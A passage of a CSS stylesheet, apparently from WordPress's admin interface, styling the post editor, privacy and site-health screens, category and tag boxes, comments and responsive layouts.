#post-body ul.category-tabs li.tabs a,
#post-body ul.add-menu-item-tabs li.tabs a {
	color: #2c3338;
}

.category-tabs {
	margin: 8px 0 5px;
}

/* Back-compat for pre-4.4 */
#category-adder h4 {
	margin: 0;
}

.taxonomy-add-new {
	display: inline-block;
	margin: 10px 0;
	font-weight: 600;
}

#side-sortables .add-menu-item-tabs,
.wp-tab-bar {
	margin-bottom: 3px;
}

#normal-sortables .postbox #replyrow .submit {
	float: none;
	margin: 0;
	padding: 5px 7px 10px;
	overflow: hidden;
}

#side-sortables .submitbox .submit input,
#side-sortables .submitbox .submit .preview,
#side-sortables .submitbox .submit a.preview:hover {
	border: 0 none;
}

/* @todo: make this a more generic class */
ul.category-tabs,
ul.add-menu-item-tabs,
ul.wp-tab-bar {
	margin-top: 12px;
}

ul.category-tabs li,
ul.add-menu-item-tabs li {
	border: solid 1px transparent;
	position: relative;
}

ul.category-tabs li.tabs,
ul.add-menu-item-tabs li.tabs,
.wp-tab-active {
	border: 1px solid #dcdcde;
	border-bottom-color: #fff;
	background-color: #fff;
}

ul.category-tabs li,
ul.add-menu-item-tabs li,
ul.wp-tab-bar li {
	padding: 3px 5px 6px;
}

#set-post-thumbnail {
	display: inline-block;
	max-width: 100%;
}

#postimagediv .inside img {
	max-width: 100%;
	height: auto;
	width: auto;
	vertical-align: top;
	background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 0 0, 10px 10px;
	background-size: 20px 20px;
}

form#tags-filter {
	position: relative;
}

/* Global classes */
.wp-hidden-children .wp-hidden-child,
.ui-tabs-hide {
	display: none;
}

#post-body .tagsdiv #newtag {
	margin-right: 5px;
	width: 16em;
}

#side-sortables input#post_password {
	width: 94%
}

#side-sortables .tagsdiv #newtag {
	width: 68%;
}

#post-status-info {
	width: 100%;
	border-spacing: 0;
	border: 1px solid #c3c4c7;
	border-top: none;
	background-color: #f6f7f7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	z-index: 999;
}

#post-status-info td {
	font-size: 12px;
}

.autosave-info {
	padding: 2px 10px;
	text-align: right;
}

#editorcontent #post-status-info {
	border: none;
}

#content-resize-handle {
	background: transparent url(../images/resize.gif) no-repeat scroll right bottom;
	width: 12px;
	cursor: row-resize;
}

/*rtl:ignore*/
.rtl #content-resize-handle {
	background-image: url(../images/resize-rtl.gif);
	background-position: left bottom;
}

.wp-editor-expand #content-resize-handle {
	display: none;
}

#postdivrich #content {
	resize: none;
}

#wp-word-count {
	padding: 2px 10px;
}

#wp-content-editor-container {
	position: relative;
}

.wp-editor-expand #wp-content-editor-tools {
	z-index: 1000;
	border-bottom: 1px solid #c3c4c7;
}

.wp-editor-expand #wp-content-editor-container {
	box-shadow: none;
	margin-top: -1px;
}

.wp-editor-expand #wp-content-editor-container {
	border-bottom: 0 none;
}

.wp-editor-expand div.mce-statusbar {
	z-index: 1;
}

.wp-editor-expand #post-status-info {
	border-top: 1px solid #c3c4c7;
}

.wp-editor-expand div.mce-toolbar-grp {
	z-index: 999;
}

/* TinyMCE native fullscreen mode override */
.mce-fullscreen #wp-content-wrap .mce-menubar,
.mce-fullscreen #wp-content-wrap .mce-toolbar-grp,
.mce-fullscreen #wp-content-wrap .mce-edit-area,
.mce-fullscreen #wp-content-wrap .mce-statusbar {
	position: static !important;
	width: auto !important;
	padding: 0 !important;
}

.mce-fullscreen #wp-content-wrap .mce-statusbar {
	visibility: visible !important;
}

.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw {
	display: none;
}

.post-php.mce-fullscreen #wpadminbar,
.mce-fullscreen #wp-content-wrap .mce-wp-dfw {
	display: none;
}
/* End TinyMCE native fullscreen mode override */

#wp-content-editor-tools {
	background-color: #f0f0f1;
	padding-top: 20px;
}

#poststuff #post-body.columns-2 #side-sortables {
	width: 280px;
}

#timestampdiv select {
	vertical-align: top;
	font-size: 12px;
	line-height: 2.33333333; /* 28px */
}

#aa, #jj, #hh, #mn {
	padding: 6px 1px;
	font-size: 12px;
	line-height: 1.16666666; /* 14px */
}

#jj, #hh, #mn {
	width: 2em;
}

#aa {
	width: 3.4em;
}

.curtime #timestamp {
	padding: 2px 0 1px;
	display: inline !important;
	height: auto !important;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-uploadedby:before,
#post-body .misc-pub-uploadedto:before,
#post-body .misc-pub-revisions:before,
#post-body .misc-pub-response-to:before,
#post-body .misc-pub-comment-status:before {
	color: #8c8f94;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-uploadedby:before,
#post-body .misc-pub-uploadedto:before,
#post-body .misc-pub-revisions:before,
#post-body .misc-pub-response-to:before,
#post-body .misc-pub-comment-status:before {
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	margin-left: -1px;
	padding-right: 3px;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#post-body .misc-pub-post-status:before,
#post-body .misc-pub-comment-status:before {
	content: "\f173";
}

#post-body #visibility:before {
	content: "\f177";
}

.curtime #timestamp:before {
	content: "\f145";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-uploadedby:before {
	content: "\f110";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-uploadedto:before {
	content: "\f318";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-revisions:before {
	content: "\f321";
}

#post-body .misc-pub-response-to:before {
	content: "\f101";
}

#timestampdiv {
	padding-top: 5px;
	line-height: 1.76923076;
}

#timestampdiv p {
	margin: 8px 0 6px;
}

#timestampdiv input {
	text-align: center;
}

.notification-dialog {
	position: fixed;
	top: 30%;
	max-height: 70%;
	left: 50%;
	width: 450px;
	margin-left: -225px;
	background: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	line-height: 1.5;
	z-index: 1000005;
	overflow-y: auto;
}

.notification-dialog-background {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000000;
}

#post-lock-dialog .post-locked-message,
#post-lock-dialog .post-taken-over {
	margin: 25px;
}

#post-lock-dialog .post-locked-message a.button,
#file-editor-warning .button {
	margin-right: 10px;
}

#post-lock-dialog .post-locked-avatar {
	float: left;
	margin: 0 20px 20px 0;
}

#post-lock-dialog .wp-tab-first {
	outline: 0;
}

#post-lock-dialog .locked-saving img {
	float: left;
	margin-right: 3px;
}

#post-lock-dialog.saving .locked-saving,
#post-lock-dialog.saved .locked-saved {
	display: inline;
}

#excerpt {
	display: block;
	margin: 12px 0 0;
	height: 4em;
	width: 100%;
}

.tagchecklist {
	margin-left: 14px;
	font-size: 12px;
	overflow: auto;
}

.tagchecklist br {
	display: none;
}

.tagchecklist strong {
	margin-left: -8px;
	position: absolute;
}

.tagchecklist > li {
	float: left;
	margin-right: 25px;
	font-size: 13px;
	line-height: 1.8;
	cursor: default;
	max-width: 100%;
	overflow: hidden;
	text-overflow: ellipsis;
}

.tagchecklist .ntdelbutton {
	position: absolute;
	width: 24px;
	height: 24px;
	border: none;
	margin: 0 0 0 -19px;
	padding: 0;
	background: none;
	cursor: pointer;
	text-indent: 0;
}

#poststuff h3.hndle, /* Back-compat for pre-4.4 */
#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
#poststuff h2 {
	font-size: 14px;
	padding: 8px 12px;
	margin: 0;
	line-height: 1.4;
}

#poststuff .stuffbox h2 {
	padding: 8px 10px;
}

#poststuff .stuffbox > h2 {
	border-bottom: 1px solid #f0f0f1;
}

#poststuff .inside {
	margin: 6px 0 0;
}

.link-php #poststuff .inside,
.link-add-php #poststuff .inside {
	margin-top: 12px;
}

#poststuff .stuffbox .inside {
	margin: 0;
}

#poststuff .inside #parent_id,
#poststuff .inside #page_template {
	max-width: 100%;
}

.post-attributes-label-wrapper {
	margin-bottom: 0.5em;
}

.post-attributes-label {
	vertical-align: baseline;
	font-weight: 600;
}

#post-visibility-select,
#comment-status-radio {
	line-height: 1.5;
	margin-top: 3px;
}

#linksubmitdiv .inside, /* Old Link Manager back-compat. */
#poststuff #submitdiv .inside {
	margin: 0;
	padding: 0;
}

#post-body-content,
.edit-form-section {
	margin-bottom: 20px;
}

.wp_attachment_details .attachment-content-description {
	margin-top: 0.5385em;
	display: inline-block;
	min-height: 1.6923em;
}

/**
* Privacy Settings section
*
* Note: This section includes selectors from
* Site Health where duplicate styling is used.
*/

/* General */
.privacy-settings #wpcontent,
.privacy-settings.auto-fold #wpcontent,
.site-health #wpcontent,
.site-health.auto-fold #wpcontent {
	padding-left: 0;
}

/* Better position for the WordPress admin notices. */
.privacy-settings .notice,
.site-health .notice {
	margin: 25px 20px 15px 22px;
}

.privacy-settings .notice ~ .notice,
.site-health .notice ~ .notice {
	margin-top: 5px;
}

/* Emulates .wrap h1 styling */
.privacy-settings-header h1,
.health-check-header h1 {
	display: inline-block;
	font-weight: 600;
	margin: 0 0.8rem 1rem;
	font-size: 23px;
	padding: 9px 0 4px;
	line-height: 1.3;
}

/* Header */
.privacy-settings-header,
.health-check-header {
	text-align: center;
	margin: 0 0 1rem;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
}

.privacy-settings-title-section,
.health-check-title-section {
	display: flex;
	align-items: center;
	justify-content: center;
	clear: both;
	padding-top: 8px;
}

.privacy-settings-tabs-wrapper {
	/* IE 11 */
	display: -ms-inline-grid;
	-ms-grid-columns: 1fr 1fr;
	vertical-align: top;
	/* modern browsers */
	display: inline-grid;
	grid-template-columns: 1fr 1fr;
}

.privacy-settings-tab {
	display: block; /* IE 11 */
	text-decoration: none;
	color: inherit;
	padding: 0.5rem 1rem 1rem;
	margin: 0 1rem;
	transition: box-shadow 0.5s ease-in-out;
}

.privacy-settings-tab:nth-child(1),
.health-check-tab:nth-child(1) {
	-ms-grid-column: 1; /* IE 11 */
}

.privacy-settings-tab:nth-child(2),
.health-check-tab:nth-child(2) {
	-ms-grid-column: 2; /* IE 11 */
}

.privacy-settings-tab:focus,
.health-check-tab:focus {
	color: #1d2327;
	outline: 1px solid #787c82;
	box-shadow: none;
}

.privacy-settings-tab.active,
.health-check-tab.active {
	box-shadow: inset 0 -3px #3582c4;
	font-weight: 600;
}

/* Body */
.privacy-settings-body,
.health-check-body {
	max-width: 800px;
	margin: 0 auto;
}

.tools-privacy-policy-page th {
	min-width: 230px;
}

.hr-separator {
	margin-top: 20px;
	margin-bottom: 15px;
}

/* Accordions */
.privacy-settings-accordion,
.health-check-accordion {
	border: 1px solid #c3c4c7;
}

.privacy-settings-accordion-heading,
.health-check-accordion-heading {
	margin: 0;
	border-top: 1px solid #c3c4c7;
	font-size: inherit;
	line-height: inherit;
	font-weight: 600;
	color: inherit;
}

.privacy-settings-accordion-heading:first-child,
.health-check-accordion-heading:first-child {
	border-top: none;
}

.privacy-settings-accordion-trigger,
.health-check-accordion-trigger {
	background: #fff;
	border: 0;
	color: #2c3338;
	cursor: pointer;
	display: flex;
	font-weight: 400;
	margin: 0;
	padding: 1em 3.5em 1em 1.5em;
	min-height: 46px;
	position: relative;
	text-align: left;
	width: 100%;
	align-items: center;
	justify-content: space-between;
	-webkit-user-select: auto;
	user-select: auto;
}

.privacy-settings-accordion-trigger:hover,
.privacy-settings-accordion-trigger:active,
.health-check-accordion-trigger:hover,
.health-check-accordion-trigger:active {
	background: #f6f7f7;
}

.privacy-settings-accordion-trigger:focus,
.health-check-accordion-trigger:focus {
	color: #1d2327;
	border: none;
	box-shadow: none;
	outline-offset: -1px;
	outline: 2px solid #2271b1;
	background-color: #f6f7f7;
}

.privacy-settings-accordion-trigger .title,
.health-check-accordion-trigger .title {
	pointer-events: none;
	font-weight: 600;
	flex-grow: 1;
}

.privacy-settings-accordion-trigger .icon,
.privacy-settings-view-read .icon,
.health-check-accordion-trigger .icon,
.site-health-view-passed .icon {
	border: solid #50575e;
	border-width: 0 2px 2px 0;
	height: 0.5rem;
	pointer-events: none;
	position: absolute;
	right: 1.5em;
	top: 50%;
	transform: translateY(-70%) rotate(45deg);
	width: 0.5rem;
}

.privacy-settings-accordion-trigger .badge,
.health-check-accordion-trigger .badge {
	padding: 0.1rem 0.5rem 0.15rem;
	color: #2c3338;
	font-weight: 600;
}

.privacy-settings-accordion-trigger .badge {
	margin-left: 0.5rem;
}

.privacy-settings-accordion-trigger .badge.blue,
.health-check-accordion-trigger .badge.blue {
	border: 1px solid #72aee6;
}

.privacy-settings-accordion-trigger .badge.orange,
.health-check-accordion-trigger .badge.orange {
	border: 1px solid #dba617;
}

.privacy-settings-accordion-trigger .badge.red,
.health-check-accordion-trigger .badge.red {
	border: 1px solid #e65054;
}

.privacy-settings-accordion-trigger .badge.green,
.health-check-accordion-trigger .badge.green {
	border: 1px solid #00ba37;
}

.privacy-settings-accordion-trigger .badge.purple,
.health-check-accordion-trigger .badge.purple {
	border: 1px solid #2271b1;
}

.privacy-settings-accordion-trigger .badge.gray,
.health-check-accordion-trigger .badge.gray {
	border: 1px solid #c3c4c7;
}

.privacy-settings-accordion-trigger[aria-expanded="true"] .icon,
.privacy-settings-view-passed[aria-expanded="true"] .icon,
.health-check-accordion-trigger[aria-expanded="true"] .icon,
.site-health-view-passed[aria-expanded="true"] .icon {
	transform: translateY(-30%) rotate(-135deg)
}

.privacy-settings-accordion-panel,
.health-check-accordion-panel {
	margin: 0;
	padding: 1em 1.5em;
	background: #fff;
}

.privacy-settings-accordion-panel[hidden],
.health-check-accordion-panel[hidden] {
	display: none;
}

.privacy-settings-accordion-panel a .dashicons,
.health-check-accordion-panel a .dashicons {
	text-decoration: none;
}

.privacy-settings-accordion-actions {
	text-align: right;
	display: block;
}

.privacy-settings-accordion-actions .success {
	display: none;
	color: #007017;
	padding-right: 1em;
	padding-top: 6px;
}

.privacy-settings-accordion-actions .success.visible {
	display: inline-block;
}

/* Suggested text for privacy policy */
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help, /* For back-compat, see #49282 */
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy {
	display: none;
}

.privacy-settings-accordion-panel strong.wp-policy-help, /* For back-compat, see #49282 */
.privacy-settings-accordion-panel strong.privacy-policy-tutorial {
	display: block;
	margin: 0 0 1em;
}

.privacy-text-copy span {
	pointer-events: none;
}

.privacy-settings-accordion-panel .wp-suggested-text > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel .wp-suggested-text div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p) {
	margin: 0;
	padding: 1em;
	border-left: 2px solid #787c82;
}

/* Media queries */
@media screen and (max-width: 782px) {

	.privacy-settings-body,
	.health-check-body {
		margin: 0 12px;
		width: auto;
	}

	.privacy-settings .notice,
	.site-health .notice {
		margin: 5px 10px 15px;
	}

	.privacy-settings .update-nag,
	.site-health .update-nag {
		margin-right: 10px;
		margin-left: 10px;
	}

	input#create-page {
		margin-top: 10px;
	}

	.wp-core-ui button.privacy-text-copy {
		white-space: normal;
		line-height: 1.8;
	}
}

@media only screen and (max-width: 1004px) {

	.privacy-settings-body,
	.health-check-body {
		margin: 0 22px;
		width: auto;
	}
}

/**
* End Privacy Settings section
*/

/*------------------------------------------------------------------------------
  11.1 - Custom Fields
------------------------------------------------------------------------------*/

#postcustomstuff thead th {
	padding: 5px 8px 8px;
	background-color: #f0f0f1;
}

#postcustom #postcustomstuff .submit {
	border: 0 none;
	float: none;
	padding: 0 8px 8px;
}

#postcustom #postcustomstuff .add-custom-field {
	padding: 12px 8px 8px;
}

#side-sortables #postcustom #postcustomstuff .submit {
	margin: 0;
	padding: 0;
}

#side-sortables #postcustom #postcustomstuff #the-list textarea {
	height: 85px;
}

#side-sortables #postcustom #postcustomstuff td.left input,
#side-sortables #postcustom #postcustomstuff td.left select,
#side-sortables #postcustomstuff #newmetaleft a {
	margin: 3px 3px 0;
}

#postcustomstuff table {
	margin: 0;
	width: 100%;
	border: 1px solid #dcdcde;
	border-spacing: 0;
	background-color: #f6f7f7;
}

#postcustomstuff tr {
	vertical-align: top;
}

#postcustomstuff table input,
#postcustomstuff table select,
#postcustomstuff table textarea {
	width: 96%;
	margin: 8px;
}

#side-sortables #postcustomstuff table input,
#side-sortables #postcustomstuff table select,
#side-sortables #postcustomstuff table textarea {
	margin: 3px;
}

#postcustomstuff th.left,
#postcustomstuff td.left {
	width: 38%;
}

#postcustomstuff .submit input {
	margin: 0;
	width: auto;
}

#postcustomstuff #newmetaleft a,
#postcustomstuff #newmeta-button {
	display: inline-block;
	margin: 0 8px 8px;
	text-decoration: none;
}

.no-js #postcustomstuff #enternew {
	display: none;
}

#post-body-content .compat-attachment-fields {
	margin-bottom: 20px;
}

.compat-attachment-fields th {
	padding-top: 5px;
	padding-right: 10px;
}

/*------------------------------------------------------------------------------
  11.3 - Featured Images
------------------------------------------------------------------------------*/

#select-featured-image {
	padding: 4px 0;
	overflow: hidden;
}

#select-featured-image img {
	max-width: 100%;
	height: auto;
	margin-bottom: 10px;
}

#select-featured-image a {
	float: left;
	clear: both;
}

#select-featured-image .remove {
	display: none;
	margin-top: 10px;
}

.js #select-featured-image.has-featured-image .remove {
	display: inline-block;
}

.no-js #select-featured-image .choose {
	display: none;
}

/*------------------------------------------------------------------------------
  11.4 - Post formats
------------------------------------------------------------------------------*/

.post-format-icon::before {
	display: inline-block;
	vertical-align: middle;
	height: 20px;
	width: 20px;
	margin-top: -4px;
	margin-right: 7px;
	color: #dcdcde;
	font: normal 20px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

a.post-format-icon:hover:before {
	color: #135e96;
}

#post-formats-select {
	line-height: 2;
}

#post-formats-select .post-format-icon::before {
	top: 5px;
}

input.post-format {
	margin-top: 1px;
}

label.post-format-icon {
	margin-left: 0;
	padding: 2px 0;
}

.post-format-icon.post-format-standard::before {
	content: "\f109";
}

.post-format-icon.post-format-image::before {
	content: "\f128";
}

.post-format-icon.post-format-gallery::before {
	content: "\f161";
}

.post-format-icon.post-format-audio::before {
	content: "\f127";
}

.post-format-icon.post-format-video::before {
	content: "\f126";
}

.post-format-icon.post-format-chat::before {
	content: "\f125";
}

.post-format-icon.post-format-status::before {
	content: "\f130";
}

.post-format-icon.post-format-aside::before {
	content: "\f123";
}

.post-format-icon.post-format-quote::before {
	content: "\f122";
}

.post-format-icon.post-format-link::before {
	content: "\f103";
}

/*------------------------------------------------------------------------------
  12.0 - Categories
------------------------------------------------------------------------------*/

.category-adder {
	margin-left: 120px;
	padding: 4px 0;
}

.category-adder h4 {
	margin: 0 0 8px;
}

#side-sortables .category-adder {
	margin: 0;
}

.wp-tab-panel,
.categorydiv div.tabs-panel,
.customlinkdiv div.tabs-panel,
.posttypediv div.tabs-panel,
.taxonomydiv div.tabs-panel {
	min-height: 42px;
	max-height: 200px;
	overflow: auto;
	padding: 0 0.9em;
	border: solid 1px #dcdcde;
	background-color: #fff;
}

div.tabs-panel-active {
	display: block;
}

div.tabs-panel-inactive {
	display: none;
}

div.tabs-panel-active:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#front-page-warning,
#front-static-pages ul,
ul.export-filters,
.inline-editor ul.cat-checklist ul,
.categorydiv ul.categorychecklist ul,
.customlinkdiv ul.categorychecklist ul,
.posttypediv ul.categorychecklist ul,
.taxonomydiv ul.categorychecklist ul {
	margin-left: 18px;
}

ul.categorychecklist li {
	margin: 0;
	padding: 0;
	line-height: 1.69230769;
	word-wrap: break-word;
}

.categorydiv .tabs-panel,
.customlinkdiv .tabs-panel,
.posttypediv .tabs-panel,
.taxonomydiv .tabs-panel {
	border-width: 3px;
	border-style: solid;
}

.form-wrap label {
	display: block;
	padding: 2px 0;
}

.form-field input[type="text"],
.form-field input[type="password"],
.form-field input[type="email"],
.form-field input[type="number"],
.form-field input[type="search"],
.form-field input[type="tel"],
.form-field input[type="url"],
.form-field textarea {
	border-style: solid;
	border-width: 1px;
	width: 95%;
}

.form-field select,
.form-field p {
	max-width: 95%;
}

p.description,
.form-wrap p {
	margin: 2px 0 5px;
	color: #646970;
}

p.help,
p.description,
span.description,
.form-wrap p {
	font-size: 13px;
}

p.description code {
	font-style: normal;
}

.form-wrap .form-field {
	margin: 1em 0;
	padding: 0;
}

.col-wrap h2 {
	margin: 12px 0;
	font-size: 1.1em;
}

.col-wrap p.submit {
	margin-top: -10px;
}

.edit-term-notes {
	margin-top: 2em;
}

/*------------------------------------------------------------------------------
  13.0 - Tags
------------------------------------------------------------------------------*/

#poststuff .tagsdiv .ajaxtag {
	margin-top: 1em;
}

#poststuff .tagsdiv .howto {
	margin: 1em 0 6px;
}

.ajaxtag .newtag {
	position: relative;
}

.tagsdiv .newtag {
	width: 180px;
}

.tagsdiv .the-tags {
	display: block;
	height: 60px;
	margin: 0 auto;
	overflow: auto;
	width: 260px;
}

#post-body-content .tagsdiv .the-tags {
	margin: 0 5px;
}

p.popular-tags {
	border: none;
	line-height: 2em;
	padding: 8px 12px 12px;
	text-align: justify;
}

p.popular-tags a {
	padding: 0 3px;
}

.tagcloud {
	width: 97%;
	margin: 0 0 40px;
	text-align: justify;
}

.tagcloud h2 {
	margin: 2px 0 12px;
}

#poststuff .inside .the-tagcloud {
	margin: 5px 0 10px;
	padding: 8px;
	border: 1px solid #dcdcde;
	line-height: 1.2;
	word-spacing: 3px;
}

.the-tagcloud ul {
	margin: 0;
}

.the-tagcloud ul li {
	display: inline-block;
}

/* Back-compat styles from deprecated jQuery.suggest, see ticket #40260. */
.ac_results {
	display: none;
	margin: -1px 0 0;
	padding: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #4f94d4;
	background-color: #fff;
}

.wp-customizer .ac_results {
	z-index: 500000;
}

.ac_results li {
	margin: 0;
	padding: 5px 10px;
	white-space: nowrap;
	text-align: left;
}

.ac_results .ac_over,
.ac_over .ac_match {
	background-color: #2271b1;
	color: #fff;
	cursor: pointer;
}

.ac_match {
	text-decoration: underline;
}

#addtag .spinner {
	float: none;
	vertical-align: top;
}

#edittag {
	max-width: 800px;
}

.edit-tag-actions {
	margin-top: 20px;
}

/* Comments */

.comment-php .wp-editor-area {
	height: 200px;
}

.comment-ays th,
.comment-ays td {
	padding: 10px 15px;
}

.comment-ays .comment-content ul {
	list-style: initial;
	margin-left: 2em;
}

.comment-ays .comment-content a[href]:after {
	content: "(" attr( href ) ")";
	display: inline-block;
	padding: 0 4px;
	color: #646970;
	font-size: 13px;
	word-break: break-all;
}

.comment-ays .comment-content p.edit-comment {
	margin-top: 10px;
}

.comment-ays .comment-content p.edit-comment a[href]:after {
	content: "";
	padding: 0;
}

.comment-ays-submit .button-cancel {
	margin-left: 1em;
}

.trash-undo-inside,
.spam-undo-inside {
	margin: 1px 8px 1px 0;
	line-height: 1.23076923;
}

.spam-undo-inside .avatar,
.trash-undo-inside .avatar {
	height: 20px;
	width: 20px;
	margin-right: 8px;
	vertical-align: middle;
}

.stuffbox .editcomment {
	clear: none;
	margin-top: 0;
}

#namediv.stuffbox .editcomment input {
	width: 100%;
}

#namediv.stuffbox .editcomment.form-table td {
	padding: 10px;
}

#comment-status-radio p {
	margin: 3px 0 5px;
}

#comment-status-radio input {
	margin: 2px 3px 5px 0;
	vertical-align: middle;
}

#comment-status-radio label {
	padding: 5px 0;
}

/* links tables */
table.links-table {
	width: 100%;
	border-spacing: 0;
}

.links-table th {
	font-weight: 400;
	text-align: left;
	vertical-align: top;
	min-width: 80px;
	width: 20%;
	word-wrap: break-word;
}

.links-table th,
.links-table td {
	padding: 5px 0;
}

.links-table td label {
	margin-right: 8px;
}

.links-table td input[type="text"],
.links-table td textarea {
	width: 100%;
}

.links-table #link_rel {
	max-width: 280px;
}

/* DFW 2
-------------------------------------------------------------- */

#qt_content_dfw {
	display: none;
}

.wp-editor-expand #qt_content_dfw {
	display: inline-block;
}

.focus-on .wrap > h1,
.focus-on .page-title-action,
.focus-on #wpfooter,
.focus-on .postbox-container > *,
.focus-on div.updated,
.focus-on div.error,
.focus-on div.notice,
.focus-on .update-nag,
.focus-on #wp-toolbar,
.focus-on #screen-meta-links,
.focus-on #screen-meta {
	opacity: 0;
	transition-duration: 0.6s;
	transition-property: opacity;
	transition-timing-function: ease-in-out;
}

.focus-on #wp-toolbar {
	opacity: 0.3;
}

.focus-off .wrap > h1,
.focus-off .page-title-action,
.focus-off #wpfooter,
.focus-off .postbox-container > *,
.focus-off div.updated,
.focus-off div.error,
.focus-off div.notice,
.focus-off .update-nag,
.focus-off #wp-toolbar,
.focus-off #screen-meta-links,
.focus-off #screen-meta {
	opacity: 1;
	transition-duration: 0.2s;
	transition-property: opacity;
	transition-timing-function: ease-in-out;
}

.focus-off #wp-toolbar {
	-webkit-transform: translate(0, 0);
}

.focus-on #adminmenuback,
.focus-on #adminmenuwrap {
	transition-duration: 0.6s;
	transition-property: transform;
	transition-timing-function: ease-in-out;
}

.focus-on #adminmenuback,
.focus-on #adminmenuwrap {
	transform: translateX( -100% );
}

.focus-off #adminmenuback,
.focus-off #adminmenuwrap {
	transform: translateX( 0 );
	transition-duration: 0.2s;
	transition-property: transform;
	transition-timing-function: ease-in-out;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	#content-resize-handle,
	#post-body .wp_themeSkin .mceStatusbar a.mceResize {
		background: transparent url(../images/resize-2x.gif) no-repeat scroll right bottom;
		background-size: 11px 11px;
	}

	/*rtl:ignore*/
	.rtl #content-resize-handle,
	.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize {
		background-image: url(../images/resize-rtl-2x.gif);
		background-position: left bottom;
	}
}

/*
 * The edit attachment screen auto-switches to one column layout when the
 * viewport is smaller than 1200 pixels.
 */
@media only screen and (max-width: 1200px) {
	.post-type-attachment #poststuff {
		min-width: 0;
	}

	.post-type-attachment #wpbody-content #poststuff #post-body {
		margin: 0;
	}

	.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1 {
		margin-right: 0;
		width: 100%;
	}

	.post-type-attachment #poststuff #postbox-container-1 .empty-container,
	.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty {
		outline: none;
		height: 0;
		min-height: 0;
	}

	.post-type-attachment #poststuff #post-body.columns-2 #side-sortables {
		min-height: 0;
		width: auto;
	}

	.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables {
		outline: none;
		min-height: 0;
		margin-bottom: 0;
	}

	/* hide the radio buttons for column prefs */
	.post-type-attachment .screen-layout,
	.post-type-attachment .columns-prefs {
		display: none;
	}
}

/* one column on the post write/edit screen */
@media only screen and (max-width: 850px) {
	#poststuff {
		min-width: 0;
	}

	#wpbody-content #poststuff #post-body {
		margin: 0;
	}

	#wpbody-content #post-body.columns-2 #postbox-container-1 {
		margin-right: 0;
		width: 100%;
	}

	#poststuff #postbox-container-1 .empty-container,
	#poststuff #postbox-container-1 #side-sortables:empty {
		height: 0;
		min-height: 0;
	}

	#poststuff #post-body.columns-2 #side-sortables {
		min-height: 0;
		width: auto;
	}

	/* Increase min-height while dragging for the #side-sortables and any potential sortables area with custom ID. */
	.is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container,
	.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,
	.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,
	.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables {
		height: auto;
		min-height: 60px;
	}

	/* hide the radio buttons for column prefs */
	.screen-layout,
	.columns-prefs {
		display: none;
	}
}

@media screen and (max-width: 782px) {
	.wp-core-ui .edit-tag-actions .button-primary {
		margin-bottom: 0;
	}

	#post-body-content {
		min-width: 0;
	}

	#titlediv #title-prompt-text {
		padding: 10px;
	}

	#poststuff .stuffbox .inside {
		padding: 0 2px 4px 0;
	}

	#poststuff h3.hndle, /* Back-compat for pre-4.4 */
	#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
	#poststuff h2 {
		padding: 12px;
	}

	#namediv.stuffbox .editcomment.form-table td {
		padding: 5px 10px;
	}

	.post-format-options {
		padding-right: 0;
	}

	.post-format-options a {
		margin-right: 5px;
		margin-bottom: 5px;
		min-width: 52px;
	}

	.post-format-options .post-format-title {
		font-size: 11px;
	}

	.post-format-options a div {
		height: 28px;
		width: 28px;
	}

	.post-format-options a div:before {
		font-size: 26px !important;
	}

	/* Publish Metabox Options */
	#post-visibility-select {
		line-height: 280%;
	}

	.wp-core-ui .save-post-visibility,
	.wp-core-ui .save-timestamp {
		vertical-align: middle;
		margin-right: 15px;
	}

	.timestamp-wrap select#mm {
		display: block;
		width: 100%;
